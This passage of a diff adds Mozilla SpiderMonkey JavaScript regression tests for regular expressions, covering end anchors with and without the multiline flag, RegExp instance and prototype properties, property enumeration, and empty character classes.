+status = inSection(180);
+pattern = /ab$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(181);
+pattern = /ab\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(182);
+pattern = /ab\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(183);
+pattern = /ab$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(184);
+pattern = /ab\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(185);
+pattern = /ab\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(186);
+pattern = /ab$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(187);
+pattern = /ab\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(188);
+pattern = /ab\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(189);
+pattern = /ab$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(190);
+pattern = /ab\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(191);
+pattern = /ab\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(192);
+pattern = /ab$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(193);
+pattern = /ab\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(194);
+pattern = /ab\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(195);
+pattern = /ab$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(196);
+pattern = /abb\Z/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(197);
+pattern = /abb\z/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(198);
+pattern = /abb$/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(199);
+pattern = /abb\z/;
+string = 'b\nabb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(200);
+pattern = /abb\z/m;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(201);
+pattern = /abb\z/m;
+string = 'b\nabb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(202);
+pattern = /abb\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(203);
+pattern = /abb\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(204);
+pattern = /abb$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(205);
+pattern = /abb\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(206);
+pattern = /abb\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(207);
+pattern = /abb$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(208);
+pattern = /abb\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(209);
+pattern = /abb\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(210);
+pattern = /abb$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(211);
+pattern = /abb\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(212);
+pattern = /abb\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(213);
+pattern = /abb$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(214);
+pattern = /abb\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(215);
+pattern = /abb\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(216);
+pattern = /abb$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(217);
+pattern = /abb\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(218);
+pattern = /abb\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(219);
+pattern = /abb$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(220);
+pattern = /abb\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(221);
+pattern = /abb\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(222);
+pattern = /abb$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(223);
+pattern = /abb\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(224);
+pattern = /abb\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(225);
+pattern = /abb$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(226);
+pattern = /abb\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(227);
+pattern = /abb\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(228);
+pattern = /abb$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(229);
+pattern = /abb\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(230);
+pattern = /abb\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(231);
+pattern = /abb$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(232);
+pattern = /abb\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(233);
+pattern = /abb\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(234);
+pattern = /abb$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(235);
+pattern = /abb\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(236);
+pattern = /abb\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(237);
+pattern = /abb$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(238);
+pattern = /a*abc?xyz+pqr{3}ab{2,}xy{4,5}pq{0,6}AB{0,}zz/;
+string = 'x';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(239);
+pattern = /\GX.*X/;
+string = 'aaaXbX';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(240);
+pattern = /\.c(pp|xx|c)?$/i;
+string = 'Changes';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(241);
+pattern = /^([a-z]:)/;
+string = 'C:/';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(242);
+pattern = /(\w)?(abc)\1b/;
+string = 'abcab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(243);
+ pattern = /^(a)?(?(1)a|b)+$/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ if(omitCurrentSection())
+ return;
+
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function omitCurrentSection()
+{
+ try
+ {
+ // current section number is in global status variable
+ var n = status.match(/(\d+)/)[1];
+ return ((n < cnLBOUND) || (n > cnUBOUND));
+ }
+ catch(e)
+ {
+ return false;
+ }
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/properties-001.js b/js/src/tests/non262/RegExp/properties-001.js
new file mode 100644
index 0000000000..b9cb65e959
--- /dev/null
+++ b/js/src/tests/non262/RegExp/properties-001.js
@@ -0,0 +1,87 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/properties-001.js
+ * ECMA Section: 15.7.6.js
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/properties-001.js";
+var TITLE = "Properties of RegExp Instances";
+
+AddRegExpCases( new RegExp, "(?:)", false, false, false, 0 );
+AddRegExpCases( /.*/, ".*", false, false, false, 0 );
+AddRegExpCases( /[\d]{5}/g, "[\\d]{5}", true, false, false, 0 );
+AddRegExpCases( /[\S]?$/i, "[\\S]?$", false, true, false, 0 );
+AddRegExpCases( /^([a-z]*)[^\w\s\f\n\r]+/m, "^([a-z]*)[^\\w\\s\\f\\n\\r]+", false, false, true, 0 );
+AddRegExpCases( /[\D]{1,5}[\ -][\d]/gi, "[\\D]{1,5}[\\ -][\\d]", true, true, false, 0 );
+AddRegExpCases( /[a-zA-Z0-9]*/gm, "[a-zA-Z0-9]*", true, false, true, 0 );
+AddRegExpCases( /x|y|z/gim, "x|y|z", true, true, true, 0 );
+
+AddRegExpCases( /\u0051/im, "\\u0051", false, true, true, 0 );
+AddRegExpCases( /\x45/gm, "\\x45", true, false, true, 0 );
+AddRegExpCases( /\097/gi, "\\097", true, true, false, 0 );
+
+test();
+
+function AddRegExpCases( re, s, g, i, m, l ) {
+
+ AddTestCase( re + ".test == RegExp.prototype.test",
+ true,
+ re.test == RegExp.prototype.test );
+
+ AddTestCase( re + ".toString == RegExp.prototype.toString",
+ true,
+ re.toString == RegExp.prototype.toString );
+
+ AddTestCase( re + ".contructor == RegExp.prototype.constructor",
+ true,
+ re.constructor == RegExp.prototype.constructor );
+
+ AddTestCase( re + ".compile == RegExp.prototype.compile",
+ true,
+ re.compile == RegExp.prototype.compile );
+
+ AddTestCase( re + ".exec == RegExp.prototype.exec",
+ true,
+ re.exec == RegExp.prototype.exec );
+
+ // properties
+
+ AddTestCase( re + ".source",
+ s,
+ re.source );
+
+/*
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=225550 changed
+ * the behavior of toString() and toSource() on empty regexps.
+ * So branch if |s| is the empty string -
+ */
+ var S = s? s : '(?:)';
+
+ AddTestCase( re + ".toString()",
+ "/" + S +"/" + (g?"g":"") + (i?"i":"") +(m?"m":""),
+ re.toString() );
+
+ AddTestCase( re + ".global",
+ g,
+ re.global );
+
+ AddTestCase( re + ".ignoreCase",
+ i,
+ re.ignoreCase );
+
+ AddTestCase( re + ".multiline",
+ m,
+ re.multiline);
+
+ AddTestCase( re + ".lastIndex",
+ l,
+ re.lastIndex );
+}
diff --git a/js/src/tests/non262/RegExp/properties-002.js b/js/src/tests/non262/RegExp/properties-002.js
new file mode 100644
index 0000000000..596dce522e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/properties-002.js
@@ -0,0 +1,128 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/properties-002.js
+ * ECMA Section: 15.7.6.js
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+//-----------------------------------------------------------------------------
+var SECTION = "RegExp/properties-002.js";
+var TITLE = "Properties of RegExp Instances";
+var BUGNUMBER ="124339";
+
+printBugNumber(BUGNUMBER);
+
+re_1 = /\cA?/g;
+re_1.lastIndex = Math.pow(2,31);
+AddRegExpCases( re_1, "\\cA?", true, false, false, Math.pow(2,31) );
+
+re_2 = /\w*/i;
+re_2.lastIndex = Math.pow(2,32) -1;
+AddRegExpCases( re_2, "\\w*", false, true, false, Math.pow(2,32)-1 );
+
+re_3 = /\*{0,80}/m;
+re_3.lastIndex = Math.pow(2,31) -1;
+AddRegExpCases( re_3, "\\*{0,80}", false, false, true, Math.pow(2,31) -1 );
+
+re_4 = /^./gim;
+re_4.lastIndex = Math.pow(2,30) -1;
+AddRegExpCases( re_4, "^.", true, true, true, Math.pow(2,30) -1 );
+
+re_5 = /\B/;
+re_5.lastIndex = Math.pow(2,30);
+AddRegExpCases( re_5, "\\B", false, false, false, Math.pow(2,30) );
+
+/*
+ * Brendan: "need to test cases Math.pow(2,32) and greater to see
+ * whether they round-trip." Reason: thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, lastIndex
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ *
+ */
+re_6 = /\B/;
+re_6.lastIndex = Math.pow(2,32);
+AddRegExpCases( re_6, "\\B", false, false, false, Math.pow(2,32) );
+
+re_7 = /\B/;
+re_7.lastIndex = Math.pow(2,32) + 1;
+AddRegExpCases( re_7, "\\B", false, false, false, Math.pow(2,32) + 1 );
+
+re_8 = /\B/;
+re_8.lastIndex = Math.pow(2,32) * 2;
+AddRegExpCases( re_8, "\\B", false, false, false, Math.pow(2,32) * 2 );
+
+re_9 = /\B/;
+re_9.lastIndex = Math.pow(2,40);
+AddRegExpCases( re_9, "\\B", false, false, false, Math.pow(2,40) );
+
+re_10 = /\B/;
+re_10.lastIndex = Number.MAX_VALUE;
+AddRegExpCases( re_10, "\\B", false, false, false, Number.MAX_VALUE );
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function AddRegExpCases( re, s, g, i, m, l ){
+
+ AddTestCase( re + ".test == RegExp.prototype.test",
+ true,
+ re.test == RegExp.prototype.test );
+
+ AddTestCase( re + ".toString == RegExp.prototype.toString",
+ true,
+ re.toString == RegExp.prototype.toString );
+
+ AddTestCase( re + ".contructor == RegExp.prototype.constructor",
+ true,
+ re.constructor == RegExp.prototype.constructor );
+
+ AddTestCase( re + ".compile == RegExp.prototype.compile",
+ true,
+ re.compile == RegExp.prototype.compile );
+
+ AddTestCase( re + ".exec == RegExp.prototype.exec",
+ true,
+ re.exec == RegExp.prototype.exec );
+
+ // properties
+
+ AddTestCase( re + ".source",
+ s,
+ re.source );
+
+ AddTestCase( re + ".toString()",
+ "/" + s +"/" + (g?"g":"") + (i?"i":"") +(m?"m":""),
+ re.toString() );
+
+ AddTestCase( re + ".global",
+ g,
+ re.global );
+
+ AddTestCase( re + ".ignoreCase",
+ i,
+ re.ignoreCase );
+
+ AddTestCase( re + ".multiline",
+ m,
+ re.multiline);
+
+ AddTestCase( re + ".lastIndex",
+ l,
+ re.lastIndex );
+}
diff --git a/js/src/tests/non262/RegExp/prototype-different-global.js b/js/src/tests/non262/RegExp/prototype-different-global.js
new file mode 100644
index 0000000000..34fc5ee8a1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/prototype-different-global.js
@@ -0,0 +1,28 @@
+function test(otherGlobal) {
+ var otherRegExp = otherGlobal.RegExp;
+
+ for (let name of ["global", "ignoreCase", "multiline", "sticky", "unicode", "source"]) {
+ let getter = Object.getOwnPropertyDescriptor(RegExp.prototype, name).get;
+ assertEq(typeof getter, "function");
+
+ // Note: TypeError gets reported from wrong global if cross-compartment,
+ // so we test both cases.
+ let ex;
+ try {
+ getter.call(otherRegExp.prototype);
+ } catch (e) {
+ ex = e;
+ }
+ assertEq(ex instanceof TypeError || ex instanceof otherGlobal.TypeError, true);
+ }
+
+ let flagsGetter = Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get;
+ assertEq(flagsGetter.call(otherRegExp.prototype), "");
+
+ assertEq(RegExp.prototype.toString.call(otherRegExp.prototype), "/(?:)/");
+}
+test(newGlobal());
+test(newGlobal({newCompartment: true}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/prototype.js b/js/src/tests/non262/RegExp/prototype.js
new file mode 100644
index 0000000000..bad6476f60
--- /dev/null
+++ b/js/src/tests/non262/RegExp/prototype.js
@@ -0,0 +1,37 @@
+const t = RegExp.prototype;
+
+let properties = "toString,compile,exec,test," +
+ "flags,dotAll,global,ignoreCase,multiline,source,sticky,unicode," +
+ "constructor," +
+ "Symbol(Symbol.match),Symbol(Symbol.replace),Symbol(Symbol.search),Symbol(Symbol.split)";
+if (Object.prototype.toSource) {
+ properties = "toSource," + properties;
+}
+if (Symbol.matchAll) {
+ properties += ",Symbol(Symbol.matchAll)";
+}
+assertEqArray(Reflect.ownKeys(t).map(String).sort(), properties.split(",").sort());
+
+
+// Invoking getters on the prototype should not throw
+function getter(name) {
+ return Object.getOwnPropertyDescriptor(t, name).get.call(t);
+}
+
+assertEq(getter("flags"), "");
+assertEq(getter("global"), undefined);
+assertEq(getter("ignoreCase"), undefined);
+assertEq(getter("multiline"), undefined);
+assertEq(getter("source"), "(?:)");
+assertEq(getter("sticky"), undefined);
+assertEq(getter("unicode"), undefined);
+
+assertEq(t.toString(), "/(?:)/");
+
+// The methods don't work with the prototype
+assertThrowsInstanceOf(() => t.compile("b", "i"), TypeError);
+assertThrowsInstanceOf(() => t.test("x"), TypeError);
+assertThrowsInstanceOf(() => t.exec("x"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/regexp-enumerate-001.js b/js/src/tests/non262/RegExp/regexp-enumerate-001.js
new file mode 100644
index 0000000000..a12bd4589a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regexp-enumerate-001.js
@@ -0,0 +1,79 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: regexp-enumerate-001.js
+ ECMA V2 Section:
+ Description: Regression Test.
+
+ If instance Native Object have properties that are enumerable,
+ JavaScript enumerated through the properties twice. This only
+ happened if objects had been instantiated, but their properties
+ had not been enumerated. ie, the object inherited properties
+ from its prototype that are enumerated.
+
+ In the core JavaScript, this is only a problem with RegExp
+ objects, since the inherited properties of most core JavaScript
+ objects are not enumerated.
+
+ Author: christine@netscape.com, pschwartau@netscape.com
+ Date: 12 November 1997
+ Modified: 14 July 2002
+ Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155291
+ ECMA-262 Ed.3 Sections 15.10.7.1 through 15.10.7.5
+ RegExp properties should be DontEnum
+ *
+ */
+// onerror = err;
+
+var SECTION = "regexp-enumerate-001";
+var TITLE = "Regression Test for Enumerating Properties";
+
+var BUGNUMBER="339403";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+/*
+ * This test expects RegExp instances to have four enumerated properties:
+ * source, global, ignoreCase, and lastIndex
+ *
+ * 99.01.25: now they also have a multiLine instance property.
+ *
+ */
+
+
+var r = new RegExp();
+
+var e = new Array();
+
+var t = new TestRegExp();
+
+for ( p in r ) { e[e.length] = { property:p, value:r[p] }; t.addProperty( p, r[p]) };
+
+new TestCase( "r = new RegExp(); e = new Array(); "+
+ "for ( p in r ) { e[e.length] = { property:p, value:r[p] }; e.length",
+ 0,
+ e.length );
+
+test();
+
+function TestRegExp() {
+ this.addProperty = addProperty;
+}
+function addProperty(name, value) {
+ var pass = false;
+
+ if ( eval("this."+name) != void 0 ) {
+ pass = true;
+ } else {
+ eval( "this."+ name+" = "+ false );
+ }
+
+ new TestCase( "Property: " + name +" already enumerated?",
+ false,
+ pass );
+}
diff --git a/js/src/tests/non262/RegExp/regexp-space-character-class.js b/js/src/tests/non262/RegExp/regexp-space-character-class.js
new file mode 100644
index 0000000000..a429b54bbd
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regexp-space-character-class.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+* License, v. 2.0. If a copy of the MPL was not distributed with this
+* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var gTestfile = 'regexp-space-character-class.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514808;
+var summary = 'Correct space character class in regexes';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// NOTE: White space and line terminators are now tested in
+// non262/RegExp/character-class-escape-s.js.
+
+var non_space_chars = [ "\u200b", "\u200c", "\u200d" ];
+
+reportCompare(non_space_chars.some(function(ch){ return /\s/.test(ch); }), false, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-001.js b/js/src/tests/non262/RegExp/regress-001.js
new file mode 100644
index 0000000000..163a7a366b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-001.js
@@ -0,0 +1,44 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/regress-001.js
+ * ECMA Section: N/A
+ * Description: Regression test case:
+ * JS regexp anchoring on empty match bug
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=2157
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/hex-001.js";
+var TITLE = "JS regexp anchoring on empty match bug";
+var BUGNUMBER = "2157";
+
+printBugNumber(BUGNUMBER);
+
+AddRegExpCases( /a||b/.exec(''),
+ "/a||b/.exec('')",
+ 1,
+ [''] );
+
+test();
+
+function AddRegExpCases( regexp, str_regexp, length, matches_array ) {
+
+ AddTestCase(
+ "( " + str_regexp + " ).length",
+ regexp.length,
+ regexp.length );
+
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + str_regexp + " )[" + matches +"]",
+ matches_array[matches],
+ regexp[matches] );
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-100199.js b/js/src/tests/non262/RegExp/regress-100199.js
new file mode 100644
index 0000000000..c43665a9a7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-100199.js
@@ -0,0 +1,271 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 17 September 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 100199
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=100199
+ *
+ * The empty character class [] is a valid RegExp construct: the condition
+ * that a given character belong to a set containing no characters. As such,
+ * it can never be met and is always FALSE. Similarly, [^] is a condition
+ * that matches any given character and is always TRUE.
+ *
+ * Neither one of these conditions should cause syntax errors in a RegExp.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 100199;
+var summary = '[], [^] are valid RegExp conditions. Should not cause errors -';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /[]/;
+string = 'abc';
+status = inSection(1);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '';
+status = inSection(2);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(3);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '/';
+status = inSection(4);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(5);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = ']';
+status = inSection(6);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[]';
+status = inSection(7);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[ ]';
+status = inSection(8);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '][';
+status = inSection(9);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /a[]/;
+string = 'abc';
+status = inSection(10);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '';
+status = inSection(11);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = 'a[';
+status = inSection(12);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = 'a[]';
+status = inSection(13);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[';
+status = inSection(14);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = ']';
+status = inSection(15);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[]';
+status = inSection(16);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '[ ]';
+status = inSection(17);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+string = '][';
+status = inSection(18);
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /[^]/;
+string = 'abc';
+status = inSection(19);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+string = '';
+status = inSection(20);
+actualmatch = string.match(pattern);
+expectedmatch = null; //there are no characters to test against the condition
+addThis();
+
+string = '\/';
+status = inSection(21);
+actualmatch = string.match(pattern);
+expectedmatch = Array('/');
+addThis();
+
+string = '\[';
+status = inSection(22);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '[';
+status = inSection(23);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = ']';
+status = inSection(24);
+actualmatch = string.match(pattern);
+expectedmatch = Array(']');
+addThis();
+
+string = '[]';
+status = inSection(25);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '[ ]';
+status = inSection(26);
+actualmatch = string.match(pattern);
+expectedmatch = Array('[');
+addThis();
+
+string = '][';
+status = inSection(27);
+actualmatch = string.match(pattern);
+expectedmatch = Array(']');
+addThis();
+
+
+pattern = /a[^]/;
+string = 'abc';
+status = inSection(28);
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab');
+addThis();
+
+string = '';
+status = inSection(29);
+actualmatch = string.match(pattern);
+expectedmatch = null; //there are no characters to test against the condition
+addThis();
+
+string = 'a[';
+status = inSection(30);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a]';
+status = inSection(31);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+string = 'a[]';
+status = inSection(32);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a[ ]';
+status = inSection(33);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a[');
+addThis();
+
+string = 'a][';
+status = inSection(34);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a]');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
